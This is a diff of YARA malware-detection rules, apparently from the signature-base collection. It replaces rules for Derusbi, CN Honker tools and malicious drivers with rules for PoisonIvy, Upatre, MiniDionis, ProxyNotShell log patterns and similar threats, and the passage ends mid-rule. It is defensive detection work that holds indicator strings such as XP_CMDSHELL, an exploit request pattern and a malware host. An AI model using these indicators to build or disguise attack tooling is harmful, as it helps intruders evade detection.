-rule SIGNATURE_BASE_CN_Honker__D_Injection_V2_32_D_Injection_V2_32_D_Injection_V2_32 : FILE
+rule SIGNATURE_BASE_MAL_CRIME_Unknown_ISO_Jun21_1 : ISO POWERSHELL LNK FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - from files D_injection_V2.32.exe, D_injection_V2.32.exe, D_injection_V2.32.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "79e9cd97-c070-5109-a0a0-bc88eea0dc37"
-		date = "2015-06-23"
+		description = "Triggers on ISO files that mimick NOBELIUM TTPs, but uses LNK files that call powershell instead."
+		author = "Nils Kuhnert"
+		id = "73a1fc44-45c4-5253-b81d-fa6686dc0644"
+		date = "2021-06-04"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2467-L2488"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c318c670b3aedf66da1c6444df7d630d2263e88527facfcf75d76dd974e7d31"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_crime_unknown.yar#L35-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49b61f498d3f4ee249d9687277e581a39e08ebb4e1a293170058fb5f770bde1f"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
-		hash1 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
-		hash2 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		tags = "ISO, POWERSHELL, LNK, FILE"
+		hash1 = "425dbed047dd2ce760d0848ebf7ad04b1ca360f111d557fc7bf657ae89f86d36"
+		hash2 = "f6944b6bca627e219d9c5065f214f95eb2226897a3b823b645d0fd78c281b149"
+		hash3 = "14d70a8bdd64e9a936c2dc9caa6d4506794505e0e3870e3a25d9d59bcafb046e"
+		hash4 = "9b2ca8eb6db34b07647a74171a5ff4c0a2ca8000da9876ed2db6361958c5c080"
 
 	strings:
-		$s1 = "upfile.asp " fullword ascii
-		$s2 = "[wscript.shell]" fullword ascii
-		$s3 = "XP_CMDSHELL" fullword ascii
-		$s4 = "[XP_CMDSHELL]" fullword ascii
-		$s5 = "http://d99net.3322.org" fullword ascii
+		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
+		$magic = "CD001" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and 4 of them
+		filesize <5MB and all of them
 }
-rule SIGNATURE_BASE_SUSP_CMD_Var_Expansion : FILE
+rule SIGNATURE_BASE_HKTL_Keyword_Injectdll : FILE
 {
 	meta:
-		description = "Detects Office droppers that include a variable expansion string"
+		description = "Detects suspicious InjectDLL keyword found in hacktools or possibly unwanted applications"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3f3ebea0-1d33-513d-b32b-9d87607525e8"
-		date = "2018-09-26"
+		id = "422eed76-7dfa-5490-a866-d337434eaddc"
+		date = "2019-04-04"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/asfakian/status/1044859525675843585"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_cmd_var_expansion.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "68ce14cac07494645f3b5f1d61012e4fe21cfa9fa7ad4019add2368b568fe043"
+		reference = "https://github.com/zerosum0x0/koadic"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_hacktool.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51c54026672e9ad36d2d68ae8dba61437f8808fbf2ad3c3c7bb086d8abb63987"
 		score = 60
 		quality = 85
 		tags = "FILE"
+		hash1 = "2e7b4141e1872857904a0ef2d87535fd913cbdd9f964421f521b5a228a492a29"
 
 	strings:
-		$a1 = " /V:ON" ascii wide fullword
+		$s2 = "InjectDLL" fullword ascii
+		$s4 = "Kernel32.dll" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <500KB and $a1
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Derusbi_Kernel : FILE
+rule SIGNATURE_BASE_HKTL_Python_Sectools
 {
 	meta:
-		description = "Derusbi Driver version"
-		author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
-		id = "a60ab93a-e2be-53ee-a7da-56c763bc5533"
-		date = "2015-12-09"
+		description = "Detects code which uses the python lib sectools"
+		author = "Arnim Rupp"
+		id = "89a5e0ba-5547-53e4-84a3-d07ee779596e"
+		date = "2023-01-27"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_derusbi.yar#L9-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5a0ce0b0116c3a84d52c22369dbf3cb9cf3ad8f8a05cea5565ba9bb99255fab"
-		score = 75
+		reference = "https://github.com/p0dalirius/sectools"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_hacktool.yar#L18-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "814ba1aa62bbb7aba886edae0f4ac5370818de15ca22a52a6ab667b4e93abf84"
+		hash = "b3328ac397d311e6eb79f0a5b9da155c4d1987e0d67487ea681ea59d93641d9e"
+		hash = "8cd205d5380278cff6673520439057e78fb8bf3d2b1c3c9be8463e949e5be4a1"
+		logic_hash = "17f6897dc623f822c7ae6a7ae51714e78316d7b7fdf59b9f2f625ecaae939522"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$token1 = "$$$--Hello"
-		$token2 = "Wrod--$$$"
-		$class = ".?AVPCC_BASEMOD@@"
+		$import1 = "from sectools"
+		$import2 = "import sectools"
 
 	condition:
-		uint16(0)==0x5A4D and $token1 and $token2 and $class
+		any of ($import*)
 }
-rule SIGNATURE_BASE_Derusbi_Linux : FILE
+rule SIGNATURE_BASE_EXPL_Exchange_Proxynotshell_Patterns_CVE_2022_41040_Oct22_1 : SCRIPT
 {
 	meta:
-		description = "Derusbi Server Linux version"
-		author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
-		id = "2b33afb5-be87-5d41-b05e-b99d0c1d8ed9"
-		date = "2015-12-09"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_derusbi.yar#L24-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "68d5af17b33d1aa0388516e5d2a1ad29c22dc04451e232dfbdf1ef0714baeb10"
+		description = "Detects successful ProxyNotShell exploitation attempts in log files (attempt to identify the attack before the official release of detailed information)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d2812fcd-0a20-5bbd-a9e1-9cca1ed58aa3"
+		date = "2022-10-11"
+		modified = "2023-03-15"
+		old_rule_name = "EXPL_Exchange_ProxyNoShell_Patterns_CVE_2022_41040_Oct22_1"
+		reference = "https://github.com/kljunowsky/CVE-2022-41040-POC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2022_41040_proxynoshell.yar#L2-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "81b0f0fea2762beb47826ff95545c87e960e098b9d5f45eacfe07b3ecf319ac5"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "SCRIPT"
 
 	strings:
-		$PS1 = "PS1=RK# \\u@\\h:\\w \\$"
-		$cmd = "unset LS_OPTIONS;uname -a"
-		$pname = "[diskio]"
-		$rkfile = "/tmp/.secure"
-		$ELF = "\x7fELF"
+		$sr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}owershell/ nocase ascii
+		$sa1 = " 200 "
+		$fp1 = " 444 "
+		$fp2 = " 404 "
+		$fp2b = " 401 "
+		$fp3 = "GET /owa/ &Email=autodiscover/autodiscover.json%3F@test.com&ClientId=" ascii
+		$fp4 = "@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com" ascii
 
 	condition:
-		$ELF at 0 and $PS1 and $cmd and $pname and $rkfile
+		$sr1 and 1 of ($sa*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Derusbi_Kernel_Driver_WD_UDFS : FILE
+rule SIGNATURE_BASE_Poisonivy_Generic_3 : FILE
 {
 	meta:
-		description = "Detects Derusbi Kernel Driver"
+		description = "PoisonIvy RAT Generic Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "51d80d19-f87f-5b09-ac49-08ebcb464013"
-		date = "2015-12-15"
+		id = "0f6a47ee-b741-59cc-b2d6-6bf3989ce8e7"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_derusbi.yar#L48-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bea8dafbef01ca8cf747a1f24804c0fb7868db09ce8091ff93c9c5d67d95ca3e"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy_gen3.yar#L2-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
+		logic_hash = "8116b07c00218a0e9784447f322455ff24ae754770b85db760b1c397e10e5695"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
-		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
-		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
-		hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
 
 	strings:
-		$x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
-		$x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
-		$x3 = "\\??\\pipe\\usbpcex%d" fullword wide
-		$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
-		$x5 = "$$$--Hello" fullword ascii
-		$x6 = "Wrod--$$$" fullword ascii
-		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
-		$s2 = "Update.dll" fullword ascii
-		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
-		$s4 = "\\Driver\\nsiproxy" wide
-		$s5 = "HOST: %s" fullword ascii
+		$k1 = "Tiger324{" fullword ascii
+		$s2 = "WININET.dll" fullword ascii
+		$s3 = "mscoree.dll" fullword wide
+		$s4 = "WS2_32.dll" fullword
+		$s5 = "Explorer.exe" fullword wide
+		$s6 = "USER32.DLL"
+		$s7 = "CONOUT$"
+		$s8 = "login.asp"
+		$h1 = "HTTP/1.0"
+		$h2 = "POST"
+		$h3 = "login.asp"
+		$h4 = "check.asp"
+		$h5 = "result.asp"
+		$h6 = "upload.asp"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and (2 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <500KB and ($k1 or all of ($s*) or all of ($h*))
 }
-rule SIGNATURE_BASE_Derusbi_Code_Signing_Cert : FILE
+rule SIGNATURE_BASE_Upatre_Hazgurut : FILE
 {
 	meta:
-		description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
+		description = "Detects Upatre malware - file hazgurut.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d123fde9-0182-5232-a716-b76e8d9830c4"
-		date = "2015-12-15"
+		id = "b0040452-ed63-5e90-9ed6-4f05e7b4eadc"
+		date = "2015-10-13"
 		modified = "2023-12-05"
-		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_derusbi.yar#L81-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dae976a4896a4f6b6a1b415582db84f3da5aac03bf4079f75e11c790dcf23900"
-		score = 60
+		reference = "https://weankor.vxstream-sandbox.com/sample/6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3?environmentId=7"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_upatre_oct15.yar#L8-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "41dd2f615d1c75ef81073d26bfbdb4f5c6735d9a3ff6d543ca77d6e16fe7eb5b"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7ee0d20b15e24b7fe72154d9521e1959752b4e9c20d2992500df9ac096450a50"
+		hash2 = "79ffc620ddb143525fa32bc6a83c636168501a4a589a38cdb0a74afac1ee8b92"
+		hash3 = "62d8a6880c594fe9529158b94a9336179fa7a3d3bf1aa9d0baaf07d03b281bd3"
+		hash4 = "c64282aca980d558821bec8b3dfeae562d9620139dc43d02ee4d1745cd989f2a"
+		hash5 = "a35f9870f9d4b993eb094460b05ee1f657199412807abe6264121dd7cc12aa70"
+		hash6 = "f8cb2730ebc8fac1c58da1346ad1208585fe730c4f03d976eb1e13a1f5d81ef9"
+		hash7 = "b65ad7e2d299d6955d95b7ae9b62233c34bc5f6aa9f87dc482914f8ad2cba5d2"
+		hash8 = "6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3"
+		hash9 = "33a288cef0ae7192b34bd2ef3f523dfb7c6cbc2735ba07edf988400df1713041"
+		hash10 = "2a8e50afbc376cb2a9700d2d83c1be0c21ef942309676ecac897ba4646aba273"
+		hash11 = "3d0f2c7e07b7d64b1bad049b804ff1aae8c1fc945a42ad555eca3e1698c7f7d3"
+		hash12 = "951360b32a78173a1f81da0ded8b4400e230125d05970d41621830efc5337274"
+		hash13 = "bd90faebfd7663ef89b120fe69809532cada3eb94bb94094e8bc615f70670295"
+		hash14 = "8c5823f67f9625e4be39a67958f0f614ece49c18596eacc5620524bc9b6bad3d"
 
 	strings:
-		$s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
-		$s2 = "XL Games Co.,Ltd.0" fullword ascii
-		$s3 = "Wemade Entertainment co.,Ltd0" fullword ascii
+		$a1 = "barcod" fullword ascii
+		$s0 = "msports.dll" fullword ascii
+		$s1 = "nddeapi.dll" fullword ascii
+		$s2 = "glmf32.dll" fullword ascii
+		$s3 = "<requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\">" fullword ascii
+		$s4 = "cmutil.dll" fullword ascii
+		$s5 = "mprapi.dll" fullword ascii
+		$s6 = "glmf32.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and 1 of them
+		uint16(0)==0x5a4d and filesize <1500KB and $a1 in (0..4000) and all of ($s*)
 }
-rule SIGNATURE_BASE_XOR_4Byte_Key : FILE
+rule SIGNATURE_BASE_Minidionis_Readerview : FILE
 {
 	meta:
-		description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
+		description = "MiniDionis Malware - file readerView.exe / adobe.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "77850332-87ce-5ed3-bb09-88e91e5bb5f6"
-		date = "2015-12-15"
+		id = "dc8d4311-2a87-5c9b-95ff-52708f293f01"
+		date = "2015-07-20"
 		modified = "2023-12-05"
-		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_derusbi.yar#L98-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "61cbdac3fd9a486d85261234698f33aa04d505b32dfec731de6fc61d103bf609"
-		score = 60
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_minidionis.yar#L10-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45ae1be675f2b7b3d89aea2bde66f9f96b55b6fbf81e3783c209c7d6d4355026"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		hash2 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash3 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash4 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash5 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash6 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
 
 	strings:
-		$s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }
+		$s1 = "%ws_out%ws" fullword wide
+		$s2 = "dnlibsh" fullword ascii
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b }
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f }
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and all of them
+		uint16(0)==0x5a4d and filesize <500KB and all of ($s*) and 1 of ($op*)
 }
-rule SIGNATURE_BASE_Derusbi_Backdoor_Mar17_1 : FILE
+rule SIGNATURE_BASE_Malicious_SFX1 : FILE
 {
 	meta:
-		description = "Detects a variant of the Derusbi backdoor"
+		description = "SFX with voicemail content"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5c8838d6-b9c2-589e-b6a2-a8c7ad6f10cc"
-		date = "2017-03-03"
+		id = "7c29dfb0-bbed-5017-80b4-a5c44024cd70"
+		date = "2015-07-20"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_derusbi.yar#L123-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "068a8d5c7378c6cf9d0369374550cd34b54e9f913aa7512a6beb46395fc15b19"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_minidionis.yar#L39-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c0675b84f5960e95962d299d4c41511bbf6f8f5f5585bdacd1ae567e904cb92f"
+		logic_hash = "fd7b4c504a52e68fe87eeb9f7066c61ddc47257ac9324a60d219c022d3affbbf"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f87915f21dcc527981ebb6db3d332b5b341129b4af83524f59d7178e9d2a3a32"
 
 	strings:
-		$x1 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
-		$x2 = "c%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword wide
-		$x3 = "%Systemroot%\\Help\\perfc009.dat" fullword wide
-		$x4 = "rundll32.exe \"%s\", R32 %s" fullword wide
-		$x5 = "OfficeUt32.dll" fullword ascii
-		$x6 = "\\\\.\\pipe\\usb%so" fullword wide
-		$x7 = "\\\\.\\pipe\\usb%si" fullword wide
-		$x8 = "\\tmp1.dat" wide
+		$s0 = "voicemail" ascii
+		$s1 = ".exe" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
+		uint16(0)==0x4b50 and filesize <1000KB and $s0 in (3..80) and $s1 in (3..80)
 }
-rule SIGNATURE_BASE_MAL_Driver_Microsoftcorporation_Windbgsys_Microsoftwindowsoperatingsystem_6994
+rule SIGNATURE_BASE_Malicious_SFX2 : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - windbg.sys"
-		author = "Florian Roth"
-		id = "05060e37-3c01-5b86-a3ee-6e141399164a"
-		date = "2023-06-14"
+		description = "SFX with adobe.exe content"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ff59d638-4d82-5a14-b346-3df2154d3c34"
+		date = "2015-07-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L2-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6994b32e3f3357f4a1d0abe81e8b62dd54e36b17816f2f1a80018584200a1b77"
-		hash = "5b932eab6c67f62f097a3249477ac46d80ddccdc52654f8674060b4ddf638e5d"
-		hash = "ea50f22daade04d3ca06dedb497b905215cba31aae7b4cab4b533fda0c5be620"
-		hash = "f936ec4c8164cbd31add659b61c16cb3a717eac90e74d89c47afb96b60120280"
-		hash = "32882949ea084434a376451ff8364243a50485a3b4af2f2240bb5f20c164543d"
-		hash = "6661320f779337b95bbbe1943ee64afb2101c92f92f3d1571c1bf4201c38c724"
-		hash = "86047bb1969d1db455493955fd450d18c62a3f36294d0a6c3732c88dfbcc4f62"
-		hash = "06c5ebd0371342d18bc81a96f5e5ce28de64101e3c2fd0161d0b54d8368d2f1f"
-		hash = "4734a0a5d88f44a4939b8d812364cab6ca5f611b9b8ceebe27df6c1ed3a6d8a4"
-		hash = "770f33259d6fb10f4a32d8a57d0d12953e8455c72bb7b60cb39ce505c507013a"
-		hash = "50819a1add4c81c0d53203592d6803f022443440935ff8260ff3b6d5253c0c76"
-		hash = "f9f2091fccb289bcf6a945f6b38676ec71dedb32f3674262928ccaf840ca131a"
-		hash = "fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5"
-		hash = "139f8412a7c6fdc43dcfbbcdba256ee55654eb36a40f338249d5162a1f69b988"
-		hash = "e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d"
-		hash = "e6f764c3b5580cd1675cbf184938ad5a201a8c096607857869bd7c3399df0d12"
-		hash = "bb2422e96ea993007f25c71d55b2eddfa1e940c89e895abb50dd07d7c17ca1df"
-		logic_hash = "161f83c85ad516f3f06f3719a1d8ae0c841e818e50f985403133c2f77b7be894"
-		score = 70
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_minidionis.yar#L55-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "502e42dc99873c52c3ca11dd3df25aad40d2b083069e8c22dd45da887f81d14d"
+		logic_hash = "a2ed7660604ff3c9f2d0dbb454f5d168cd61d1d5e647b5c74fe24f25ebb3dbfd"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e0064006f007700730020004700550049002000730079006d0062006f006c00690063002000640065006200750067006700650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e0036003800350020002800570069006e004200750069006c0064002e003100360030003100300031002e00300038003000300029 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e003600380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770069006e006400620067002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074003f002000570069006e0064006f00770073003f0020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770069006e006400620067002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]003f0020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "adobe.exe" fullword ascii
+		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
+		$s3 = "GETPASSWORD1" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Driver_Sensecorp_42B2
+rule SIGNATURE_BASE_Minidionis_VBS_Dropped : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
-		author = "Florian Roth"
-		id = "6b64ff77-866b-5d77-b2cf-5e507acc6cb9"
-		date = "2023-06-14"
+		description = "Dropped File - 1.vbs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f0116861-4216-504a-a39b-463e7535a2b3"
+		date = "2015-07-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L41-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "42b22faa489b5de936db33f12184f6233198bdf851a18264d31210207827ba25"
-		logic_hash = "72e213913bf4317fa0751775e6a1a82ba2706e79c52fcd3e2c8ca69050e3a9d7"
-		score = 70
+		reference = "https://malwr.com/analysis/ZDc4ZmIyZDI4MTVjNGY5NWI0YzE3YjIzNGFjZTcyYTY/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_minidionis.yar#L72-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "97dd1ee3aca815eb655a5de9e9e8945e7ba57f458019be6e1b9acb5731fa6646"
+		logic_hash = "a24fe4cdff6dd7951af10710eb63ab1fd90ab0e43bbce4388d6687abac206da5"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 }
